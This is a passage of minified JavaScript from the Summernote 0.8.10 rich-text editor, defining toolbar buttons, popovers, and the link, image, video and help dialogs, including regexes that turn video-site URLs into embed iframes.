n=t(o.currentTarget);e.context.invoke("editor.color",{backColor:n.attr("data-backColor"),foreColor:n.attr("data-foreColor")})},callback:function(t){t.find(".note-recent-color").css("background-color","#FFFF00"),t.attr("data-backColor","#FFFF00")}}),e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents("",e.options),tooltip:e.lang.color.more,data:{toggle:"dropdown"}}),e.ui.dropdown({items:['<div class="note-palette">',' <div class="note-palette-title">'+e.lang.color.background+"</div>"," <div>",' <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">',e.lang.color.transparent," </button>"," </div>",' <div class="note-holder" data-event="backColor"/>',"</div>",'<div class="note-palette">',' <div class="note-palette-title">'+e.lang.color.foreground+"</div>"," <div>",' <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">',e.lang.color.resetToDefault," </button>"," </div>",' <div class="note-holder" data-event="foreColor"/>',"</div>"].join(""),callback:function(o){o.find(".note-holder").each(function(o,n){var i=t(n);i.append(e.ui.palette({colors:e.options.colors,colorsName:e.options.colorsName,eventName:i.data("event"),container:e.options.container,tooltip:e.options.tooltip}).render())})},click:function(o){var n=t(o.target),i=n.data("event"),r=n.data("value");if(i&&r){var s="backColor"===i?"background-color":"color",a=n.closest(".note-color").find(".note-recent-color"),l=n.closest(".note-color").find(".note-current-color-button");a.css(s,r),l.attr("data-"+i,r),e.context.invoke("editor."+i,r)}}})]}).render()}),this.context.memo("button.ul",function(){return e.button({contents:e.ui.icon(e.options.icons.unorderedlist),tooltip:e.lang.lists.unordered+e.representShortcut("insertUnorderedList"),click:e.context.createInvokeHandler("editor.insertUnorderedList")}).render()}),this.context.memo("button.ol",function(){return e.button({contents:e.ui.icon(e.options.icons.orderedlist),tooltip:e.lang.lists.ordered+e.representShortcut("insertOrderedList"),click:e.context.createInvokeHandler("editor.insertOrderedList")}).render()});var s=this.button({contents:this.ui.icon(this.options.icons.alignLeft),tooltip:this.lang.paragraph.left+this.representShortcut("justifyLeft"),click:this.context.createInvokeHandler("editor.justifyLeft")}),a=this.button({contents:this.ui.icon(this.options.icons.alignCenter),tooltip:this.lang.paragraph.center+this.representShortcut("justifyCenter"),click:this.context.createInvokeHandler("editor.justifyCenter")}),l=this.button({contents:this.ui.icon(this.options.icons.alignRight),tooltip:this.lang.paragraph.right+this.representShortcut("justifyRight"),click:this.context.createInvokeHandler("editor.justifyRight")}),c=this.button({contents:this.ui.icon(this.options.icons.alignJustify),tooltip:this.lang.paragraph.justify+this.representShortcut("justifyFull"),click:this.context.createInvokeHandler("editor.justifyFull")}),d=this.button({contents:this.ui.icon(this.options.icons.outdent),tooltip:this.lang.paragraph.outdent+this.representShortcut("outdent"),click:this.context.createInvokeHandler("editor.outdent")}),u=this.button({contents:this.ui.icon(this.options.icons.indent),tooltip:this.lang.paragraph.indent+this.representShortcut("indent"),click:this.context.createInvokeHandler("editor.indent")});this.context.memo("button.justifyLeft",C.invoke(s,"render")),this.context.memo("button.justifyCenter",C.invoke(a,"render")),this.context.memo("button.justifyRight",C.invoke(l,"render")),this.context.memo("button.justifyFull",C.invoke(c,"render")),this.context.memo("button.outdent",C.invoke(d,"render")),this.context.memo("button.indent",C.invoke(u,"render")),this.context.memo("button.paragraph",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.alignLeft),e.options),tooltip:e.lang.paragraph.paragraph,data:{toggle:"dropdown"}}),e.ui.dropdown([e.ui.buttonGroup({className:"note-align",children:[s,a,l,c]}),e.ui.buttonGroup({className:"note-list",children:[d,u]})])]).render()}),this.context.memo("button.height",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.textHeight),e.options),tooltip:e.lang.font.height,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({items:e.options.lineHeights,checkClassName:e.options.icons.menuCheck,className:"dropdown-line-height",title:e.lang.font.height,click:e.context.createInvokeHandler("editor.lineHeight")})]).render()}),this.context.memo("button.table",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.table),e.options),tooltip:e.lang.table.table,data:{toggle:"dropdown"}}),e.ui.dropdown({title:e.lang.table.table,className:"note-table",items:['<div class="note-dimension-picker">',' <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>',' <div class="note-dimension-picker-highlighted"/>',' <div class="note-dimension-picker-unhighlighted"/>',"</div>",'<div class="note-dimension-display">1 x 1</div>'].join("")})],{callback:function(t){t.find(".note-dimension-picker-mousecatcher").css({width:e.options.insertTableMaxSize.col+"em",height:e.options.insertTableMaxSize.row+"em"}).mousedown(e.context.createInvokeHandler("editor.insertTable")).on("mousemove",e.tableMoveHandler.bind(e))}}).render()}),this.context.memo("button.link",function(){return e.button({contents:e.ui.icon(e.options.icons.link),tooltip:e.lang.link.link+e.representShortcut("linkDialog.show"),click:e.context.createInvokeHandler("linkDialog.show")}).render()}),this.context.memo("button.picture",function(){return e.button({contents:e.ui.icon(e.options.icons.picture),tooltip:e.lang.image.image,click:e.context.createInvokeHandler("imageDialog.show")}).render()}),this.context.memo("button.video",function(){return e.button({contents:e.ui.icon(e.options.icons.video),tooltip:e.lang.video.video,click:e.context.createInvokeHandler("videoDialog.show")}).render()}),this.context.memo("button.hr",function(){return e.button({contents:e.ui.icon(e.options.icons.minus),tooltip:e.lang.hr.insert+e.representShortcut("insertHorizontalRule"),click:e.context.createInvokeHandler("editor.insertHorizontalRule")}).render()}),this.context.memo("button.fullscreen",function(){return e.button({className:"btn-fullscreen",contents:e.ui.icon(e.options.icons.arrowsAlt),tooltip:e.lang.options.fullscreen,click:e.context.createInvokeHandler("fullscreen.toggle")}).render()}),this.context.memo("button.codeview",function(){return e.button({className:"btn-codeview",contents:e.ui.icon(e.options.icons.code),tooltip:e.lang.options.codeview,click:e.context.createInvokeHandler("codeview.toggle")}).render()}),this.context.memo("button.redo",function(){return e.button({contents:e.ui.icon(e.options.icons.redo),tooltip:e.lang.history.redo+e.representShortcut("redo"),click:e.context.createInvokeHandler("editor.redo")}).render()}),this.context.memo("button.undo",function(){return e.button({contents:e.ui.icon(e.options.icons.undo),tooltip:e.lang.history.undo+e.representShortcut("undo"),click:e.context.createInvokeHandler("editor.undo")}).render()}),this.context.memo("button.help",function(){return e.button({contents:e.ui.icon(e.options.icons.question),tooltip:e.lang.options.help,click:e.context.createInvokeHandler("helpDialog.show")}).render()})},e.prototype.addImagePopoverButtons=function(){var t=this;this.context.memo("button.imageSize100",function(){return t.button({contents:'<span class="note-fontsize-10">100%</span>',tooltip:t.lang.image.resizeFull,click:t.context.createInvokeHandler("editor.resize","1")}).render()}),this.context.memo("button.imageSize50",function(){return t.button({contents:'<span class="note-fontsize-10">50%</span>',tooltip:t.lang.image.resizeHalf,click:t.context.createInvokeHandler("editor.resize","0.5")}).render()}),this.context.memo("button.imageSize25",function(){return t.button({contents:'<span class="note-fontsize-10">25%</span>',tooltip:t.lang.image.resizeQuarter,click:t.context.createInvokeHandler("editor.resize","0.25")}).render()}),this.context.memo("button.floatLeft",function(){return t.button({contents:t.ui.icon(t.options.icons.alignLeft),tooltip:t.lang.image.floatLeft,click:t.context.createInvokeHandler("editor.floatMe","left")}).render()}),this.context.memo("button.floatRight",function(){return t.button({contents:t.ui.icon(t.options.icons.alignRight),tooltip:t.lang.image.floatRight,click:t.context.createInvokeHandler("editor.floatMe","right")}).render()}),this.context.memo("button.floatNone",function(){return t.button({contents:t.ui.icon(t.options.icons.alignJustify),tooltip:t.lang.image.floatNone,click:t.context.createInvokeHandler("editor.floatMe","none")}).render()}),this.context.memo("button.removeMedia",function(){return t.button({contents:t.ui.icon(t.options.icons.trash),tooltip:t.lang.image.remove,click:t.context.createInvokeHandler("editor.removeMedia")}).render()})},e.prototype.addLinkPopoverButtons=function(){var t=this;this.context.memo("button.linkDialogShow",function(){return t.button({contents:t.ui.icon(t.options.icons.link),tooltip:t.lang.link.edit,click:t.context.createInvokeHandler("linkDialog.show")}).render()}),this.context.memo("button.unlink",function(){return t.button({contents:t.ui.icon(t.options.icons.unlink),tooltip:t.lang.link.unlink,click:t.context.createInvokeHandler("editor.unlink")}).render()})},e.prototype.addTablePopoverButtons=function(){var t=this;this.context.memo("button.addRowUp",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowAbove),tooltip:t.lang.table.addRowAbove,click:t.context.createInvokeHandler("editor.addRow","top")}).render()}),this.context.memo("button.addRowDown",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowBelow),tooltip:t.lang.table.addRowBelow,click:t.context.createInvokeHandler("editor.addRow","bottom")}).render()}),this.context.memo("button.addColLeft",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colBefore),tooltip:t.lang.table.addColLeft,click:t.context.createInvokeHandler("editor.addCol","left")}).render()}),this.context.memo("button.addColRight",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colAfter),tooltip:t.lang.table.addColRight,click:t.context.createInvokeHandler("editor.addCol","right")}).render()}),this.context.memo("button.deleteRow",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowRemove),tooltip:t.lang.table.delRow,click:t.context.createInvokeHandler("editor.deleteRow")}).render()}),this.context.memo("button.deleteCol",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colRemove),tooltip:t.lang.table.delCol,click:t.context.createInvokeHandler("editor.deleteCol")}).render()}),this.context.memo("button.deleteTable",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.trash),tooltip:t.lang.table.delTable,click:t.context.createInvokeHandler("editor.deleteTable")}).render()})},e.prototype.build=function(e,o){for(var n=0,i=o.length;n<i;n++){for(var r=o[n],s=t.isArray(r)?r[0]:r,a=t.isArray(r)?1===r.length?[r[0]]:r[1]:[r],l=this.ui.buttonGroup({className:"note-"+s}).render(),c=0,d=a.length;c<d;c++){var u=this.context.memo("button."+a[c]);u&&l.append("function"==typeof u?u(this.context):u)}l.appendTo(e)}},e.prototype.updateCurrentStyle=function(e){var o=this,n=e||this.$toolbar,i=this.context.invoke("editor.currentStyle");if(this.updateBtnStates(n,{".note-btn-bold":function(){return"bold"===i["font-bold"]},".note-btn-italic":function(){return"italic"===i["font-italic"]},".note-btn-underline":function(){return"underline"===i["font-underline"]},".note-btn-subscript":function(){return"subscript"===i["font-subscript"]},".note-btn-superscript":function(){return"superscript"===i["font-superscript"]},".note-btn-strikethrough":function(){return"strikethrough"===i["font-strikethrough"]}}),i["font-family"]){var r=i["font-family"].split(",").map(function(t){return t.replace(/[\'\"]/g,"").replace(/\s+$/,"").replace(/^\s+/,"")}),s=N.find(r,this.isFontInstalled.bind(this));n.find(".dropdown-fontname a").each(function(e,o){var n=t(o),i=n.data("value")+""==s+"";n.toggleClass("checked",i)}),n.find(".note-current-fontname").text(s).css("font-family",s)}if(i["font-size"]){var a=i["font-size"];n.find(".dropdown-fontsize a").each(function(e,o){var n=t(o),i=n.data("value")+""==a+"";n.toggleClass("checked",i)}),n.find(".note-current-fontsize").text(a)}if(i["line-height"]){var l=i["line-height"];n.find(".dropdown-line-height li a").each(function(e,n){var i=t(n).data("value")+""==l+"";o.className=i?"checked":""})}},e.prototype.updateBtnStates=function(e,o){var n=this;t.each(o,function(t,o){n.ui.toggleBtnActive(e.find(t),o())})},e.prototype.tableMoveHandler=function(e){var o,n=t(e.target.parentNode),i=n.next(),r=n.find(".note-dimension-picker-mousecatcher"),s=n.find(".note-dimension-picker-highlighted"),a=n.find(".note-dimension-picker-unhighlighted");if(void 0===e.offsetX){var l=t(e.target).offset();o={x:e.pageX-l.left,y:e.pageY-l.top}}else o={x:e.offsetX,y:e.offsetY};var c=Math.ceil(o.x/18)||1,d=Math.ceil(o.y/18)||1;s.css({width:c+"em",height:d+"em"}),r.data("value",c+"x"+d),c>3&&c<this.options.insertTableMaxSize.col&&a.css({width:c+1+"em"}),d>3&&d<this.options.insertTableMaxSize.row&&a.css({height:d+1+"em"}),i.html(c+" x "+d)},e}(),te=function(){function e(e){this.context=e,this.$window=t(window),this.$document=t(document),this.ui=t.summernote.ui,this.$note=e.layoutInfo.note,this.$editor=e.layoutInfo.editor,this.$toolbar=e.layoutInfo.toolbar,this.options=e.options,this.followScroll=this.followScroll.bind(this)}return e.prototype.shouldInitialize=function(){return!this.options.airMode},e.prototype.initialize=function(){var t=this;this.options.toolbar=this.options.toolbar||[],this.options.toolbar.length?this.context.invoke("buttons.build",this.$toolbar,this.options.toolbar):this.$toolbar.hide(),this.options.toolbarContainer&&this.$toolbar.appendTo(this.options.toolbarContainer),this.changeContainer(!1),this.$note.on("summernote.keyup summernote.mouseup summernote.change",function(){t.context.invoke("buttons.updateCurrentStyle")}),this.context.invoke("buttons.updateCurrentStyle"),this.options.followingToolbar&&this.$window.on("scroll resize",this.followScroll)},e.prototype.destroy=function(){this.$toolbar.children().remove(),this.options.followingToolbar&&this.$window.off("scroll resize",this.followScroll)},e.prototype.followScroll=function(){if(this.$editor.hasClass("fullscreen"))return!1;var e=this.$toolbar.parent(".note-toolbar-wrapper"),o=this.$editor.outerHeight(),n=this.$editor.width(),i=this.$toolbar.height();e.css({height:i});var r=0;this.options.otherStaticBar&&(r=t(this.options.otherStaticBar).outerHeight());var s=this.$document.scrollTop(),a=this.$editor.offset().top;s>a-r&&s<a+o-r-i?this.$toolbar.css({position:"fixed",top:r,width:n}):this.$toolbar.css({position:"relative",top:0,width:"100%"})},e.prototype.changeContainer=function(t){t?this.$toolbar.prependTo(this.$editor):this.options.toolbarContainer&&this.$toolbar.appendTo(this.options.toolbarContainer)},e.prototype.updateFullscreen=function(t){this.ui.toggleBtnActive(this.$toolbar.find(".btn-fullscreen"),t),this.changeContainer(t)},e.prototype.updateCodeview=function(t){this.ui.toggleBtnActive(this.$toolbar.find(".btn-codeview"),t),t?this.deactivate():this.activate()},e.prototype.activate=function(t){var e=this.$toolbar.find("button");t||(e=e.not(".btn-codeview")),this.ui.toggleBtn(e,!0)},e.prototype.deactivate=function(t){var e=this.$toolbar.find("button");t||(e=e.not(".btn-codeview")),this.ui.toggleBtn(e,!1)},e}(),ee=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo,e.memo("help.linkDialog.show",this.options.langInfo.help["linkDialog.show"])}return e.prototype.initialize=function(){var e=this.options.dialogsInBody?this.$body:this.$editor,o=['<div class="form-group note-form-group">','<label class="note-form-label">'+this.lang.link.textToDisplay+"</label>",'<input class="note-link-text form-control note-form-control note-input" type="text" />',"</div>",'<div class="form-group note-form-group">','<label class="note-form-label">'+this.lang.link.url+"</label>",'<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />',"</div>",this.options.disableLinkTarget?"":t("<div/>").append(this.ui.checkbox({id:"sn-checkbox-open-in-new-window",text:this.lang.link.openInNewWindow,checked:!0}).render()).html()].join(""),n='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-link-btn" disabled>'+this.lang.link.insert+"</button>";this.$dialog=this.ui.dialog({className:"link-dialog",title:this.lang.link.insert,fade:this.options.dialogsFade,body:o,footer:n}).render().appendTo(e)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.toggleLinkBtn=function(t,e,o){this.ui.toggleBtn(t,e.val()&&o.val())},e.prototype.showLinkDialog=function(e){var o=this;return t.Deferred(function(t){var n=o.$dialog.find(".note-link-text"),i=o.$dialog.find(".note-link-url"),r=o.$dialog.find(".note-link-btn"),s=o.$dialog.find("input[type=checkbox]");o.ui.onDialogShown(o.$dialog,function(){o.context.triggerEvent("dialog.shown"),e.url||(e.url=e.text),n.val(e.text);var a=function(){o.toggleLinkBtn(r,n,i),e.text=n.val()};n.on("input",a).on("paste",function(){setTimeout(a,0)});var l=function(){o.toggleLinkBtn(r,n,i),e.text||n.val(i.val())};i.on("input",l).on("paste",function(){setTimeout(l,0)}).val(e.url),z.isSupportTouch||i.trigger("focus"),o.toggleLinkBtn(r,n,i),o.bindEnterKey(i,r),o.bindEnterKey(n,r);var c=void 0!==e.isNewWindow?e.isNewWindow:o.context.options.linkTargetBlank;s.prop("checked",c),r.one("click",function(r){r.preventDefault(),t.resolve({range:e.range,url:i.val(),text:n.val(),isNewWindow:s.is(":checked")}),o.ui.hideDialog(o.$dialog)})}),o.ui.onDialogHidden(o.$dialog,function(){n.off("input paste keypress"),i.off("input paste keypress"),r.off("click"),"pending"===t.state()&&t.reject()}),o.ui.showDialog(o.$dialog)}).promise()},e.prototype.show=function(){var t=this,e=this.context.invoke("editor.getLinkInfo");this.context.invoke("editor.saveRange"),this.showLinkDialog(e).then(function(e){t.context.invoke("editor.restoreRange"),t.context.invoke("editor.createLink",e)}).fail(function(){t.context.invoke("editor.restoreRange")})},e}(),oe=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.keyup summernote.mouseup summernote.change summernote.scroll":function(){o.update()},"summernote.disable summernote.dialog.shown":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.link)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-link-popover",callback:function(t){t.find(".popover-content,.note-popover-content").prepend('<span><a target="_blank"></a> </span>')}}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.link)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(){if(this.context.invoke("editor.hasFocus")){var e=this.context.invoke("editor.createRange");if(e.isCollapsed()&&e.isOnAnchor()){var o=Nt.ancestor(e.sc,Nt.isAnchor),n=t(o).attr("href");this.$popover.find("a").attr("href",n).html(n);var i=Nt.posFromPlaceholder(o);this.$popover.css({display:"block",left:i.left,top:i.top})}else this.hide()}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),ne=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e="";if(this.options.maximumImageFileSize){var o=Math.floor(Math.log(this.options.maximumImageFileSize)/Math.log(1024)),n=1*(this.options.maximumImageFileSize/Math.pow(1024,o)).toFixed(2)+" "+" KMGTP"[o]+"B";e="<small>"+this.lang.image.maximumFileSize+" : "+n+"</small>"}var i=['<div class="form-group note-form-group note-group-select-from-files">','<label class="note-form-label">'+this.lang.image.selectFromFiles+"</label>",'<input class="note-image-input note-form-control note-input" ',' type="file" name="files" accept="image/*" multiple="multiple" />',e,"</div>",'<div class="form-group note-group-image-url" style="overflow:auto;">','<label class="note-form-label">'+this.lang.image.url+"</label>",'<input class="note-image-url form-control note-form-control note-input ',' col-md-12" type="text" />',"</div>"].join(""),r='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-image-btn" disabled>'+this.lang.image.insert+"</button>";this.$dialog=this.ui.dialog({title:this.lang.image.insert,fade:this.options.dialogsFade,body:i,footer:r}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.show=function(){var t=this;this.context.invoke("editor.saveRange"),this.showImageDialog().then(function(e){t.ui.hideDialog(t.$dialog),t.context.invoke("editor.restoreRange"),"string"==typeof e?t.context.invoke("editor.insertImage",e):t.context.invoke("editor.insertImagesOrCallback",e)}).fail(function(){t.context.invoke("editor.restoreRange")})},e.prototype.showImageDialog=function(){var e=this;return t.Deferred(function(t){var o=e.$dialog.find(".note-image-input"),n=e.$dialog.find(".note-image-url"),i=e.$dialog.find(".note-image-btn");e.ui.onDialogShown(e.$dialog,function(){e.context.triggerEvent("dialog.shown"),o.replaceWith(o.clone().on("change",function(e){t.resolve(e.target.files||e.target.value)}).val("")),i.click(function(e){e.preventDefault(),t.resolve(n.val())}),n.on("keyup paste",function(){var t=n.val();e.ui.toggleBtn(i,t)}).val(""),z.isSupportTouch||n.trigger("focus"),e.bindEnterKey(n,i)}),e.ui.onDialogHidden(e.$dialog,function(){o.off("change"),n.off("keyup paste keypress"),i.off("click"),"pending"===t.state()&&t.reject()}),e.ui.showDialog(e.$dialog)})},e}(),ie=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.editable=e.layoutInfo.editable[0],this.options=e.options,this.events={"summernote.disable":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.image)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-image-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.image)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(t){if(Nt.isImg(t)){var e=Nt.posFromPlaceholder(t),o=Nt.posFromPlaceholder(this.editable);this.$popover.css({display:"block",left:this.options.popatmouse?event.pageX-20:e.left,top:this.options.popatmouse?event.pageY:Math.min(e.top,o.top)})}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),re=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.mousedown":function(t,e){o.update(e.target)},"summernote.keyup summernote.scroll summernote.change":function(){o.update()},"summernote.disable":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.table)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-table-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.table),z.isFF&&document.execCommand("enableInlineTableEditing",!1,!1)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(t){if(this.context.isDisabled())return!1;var e=Nt.isCell(t);if(e){var o=Nt.posFromPlaceholder(t);this.$popover.css({display:"block",left:o.left,top:o.top})}else this.hide();return e},e.prototype.hide=function(){this.$popover.hide()},e}(),se=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e=['<div class="form-group note-form-group row-fluid">','<label class="note-form-label">'+this.lang.video.url+' <small class="text-muted">'+this.lang.video.providers+"</small></label>",'<input class="note-video-url form-control note-form-control note-input" type="text" />',"</div>"].join(""),o='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-video-btn" disabled>'+this.lang.video.insert+"</button>";this.$dialog=this.ui.dialog({title:this.lang.video.insert,fade:this.options.dialogsFade,body:e,footer:o}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.createVideoNode=function(e){var o,n=e.match(/^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/),i=e.match(/(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/),r=e.match(/\/\/vine\.co\/v\/([a-zA-Z0-9]+)/),s=e.match(/\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/),a=e.match(/.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/),l=e.match(/\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/),c=e.match(/\/\/v\.qq\.com.*?vid=(.+)/),d=e.match(/\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/),u=e.match(/^.+.(mp4|m4v)$/),h=e.match(/^.+.(ogg|ogv)$/),p=e.match(/^.+.(webm)$/);if(n&&11===n[1].length){var f=n[1];o=t("<iframe>").attr("frameborder",0).attr("src","//www.youtube.com/embed/"+f).attr("width","640").attr("height","360")}else if(i&&i[0].length)o=t("<iframe>").attr("frameborder",0).attr("src","https://instagram.com/p/"+i[1]+"/embed/").attr("width","612").attr("height","710").attr("scrolling","no").attr("allowtransparency","true");else if(r&&r[0].length)o=t("<iframe>").attr("frameborder",0).attr("src",r[0]+"/embed/simple").attr("width","600").attr("height","600").attr("class","vine-embed");else if(s&&s[3].length)o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("src","//player.vimeo.com/video/"+s[3]).attr("width","640").attr("height","360");else if(a&&a[2].length)o=t("<iframe>").attr("frameborder",0).attr("src","//www.dailymotion.com/embed/video/"+a[2]).attr("width","640").attr("height","360");else if(l&&l[1].length)o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("height","498").attr("width","510").attr("src","//player.youku.com/embed/"+l[1]);else if(c&&c[1].length||d&&d[2].length){var m=c&&c[1].length?c[1]:d[2];o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("height","310").attr("width","500").attr("src","http://v.qq.com/iframe/player.html?vid="+m+"&auto=0")}else{if(!(u||h||p))return!1;o=t("<video controls>").attr("src",e).attr("width","640").attr("height","360")}return o.addClass("note-video-clip"),o[0]},e.prototype.show=function(){var t=this,e=this.context.invoke("editor.getSelectedText");this.context.invoke("editor.saveRange"),this.showVideoDialog(e).then(function(e){t.ui.hideDialog(t.$dialog),t.context.invoke("editor.restoreRange");var o=t.createVideoNode(e);o&&t.context.invoke("editor.insertNode",o)}).fail(function(){t.context.invoke("editor.restoreRange")})},e.prototype.showVideoDialog=function(e){var o=this;return t.Deferred(function(t){var n=o.$dialog.find(".note-video-url"),i=o.$dialog.find(".note-video-btn");o.ui.onDialogShown(o.$dialog,function(){o.context.triggerEvent("dialog.shown"),n.val(e).on("input",function(){o.ui.toggleBtn(i,n.val())}),z.isSupportTouch||n.trigger("focus"),i.click(function(e){e.preventDefault(),t.resolve(n.val())}),o.bindEnterKey(n,i)}),o.ui.onDialogHidden(o.$dialog,function(){n.off("input"),i.off("click"),"pending"===t.state()&&t.reject()}),o.ui.showDialog(o.$dialog)})},e}(),ae=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e=['<p class="text-center">','<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ','<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ','<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>',"</p>"].join("");this.$dialog=this.ui.dialog({title:this.lang.options.help,fade:this.options.dialogsFade,body:this.createShortcutList(),footer:e,callback:function(t){t.find(".modal-body,.note-modal-body").css({"max-height":300,overflow:"scroll"})}}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.createShortcutList=function(){var e=this,o=this.options.keyMap[z.isMac?"mac":"pc"];return Object.keys(o).map(function(n){var i=o[n],r=t('<div><div class="help-list-item"/></div>');return r.append(t("<label><kbd>"+n+"</kdb></label>").css({width:180,"margin-right":10})).append(t("<span/>").html(e.context.memo("help."+i)||i)),r.html()}).join("")},e.prototype.showHelpDialog=function(){var e=this;return t.Deferred(function(t){e.ui.onDialogShown(e.$dialog,function(){e.context.triggerEvent("dialog.shown"),t.resolve()}),e.ui.showDialog(e.$dialog)}).promise()},e.prototype.show=function(){var t=this;this.context.invoke("editor.saveRange"),this.showHelpDialog().then(function(){t.context.invoke("editor.restoreRange")})},e}(),le=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.keyup summernote.mouseup summernote.scroll":function(){o.update()},"summernote.disable summernote.change summernote.dialog.shown":function(){o.hide()},"summernote.focusout":function(t,e){z.isFF||e.relatedTarget&&Nt.ancestor(e.relatedTarget,C.eq(o.$popover[0]))||o.hide()}}}return e.prototype.shouldInitialize=function(){return this.options.airMode&&!N.isEmpty(this.options.popover.air)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-air-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content");this.context.invoke("buttons.build",t,this.options.popover.air)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(){var t=this.context.invoke("editor.currentStyle");if(t.range&&!t.range.isCollapsed()){var e=N.last(t.range.getClientRects());if(e){var o=C.rect2bnd(e);this.$popover.css({display:"block",left:Math.max(o.left+o.width/2,0)-20,top:o.top+o.height}),this.context.invoke("buttons.updateCurrentStyle",this.$popover)}}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),ce=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.$editable=e.layoutInfo.editable,this.options=e.options,this.hint=this.options.hint||[],this.direction=this.options.hintDirection||"bottom",this.hints=t.isArray(this.hint)?this.hint:[this.hint],this.events={"summernote.keyup":function(t,e){e.isDefaultPrevented()||o.handleKeyup(e)},"summernote.keydown":function(t,e){o.handleKeydown(e)},"summernote.disable summernote.dialog.shown":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return this.hints.length>0},e.prototype.initialize=function(){var 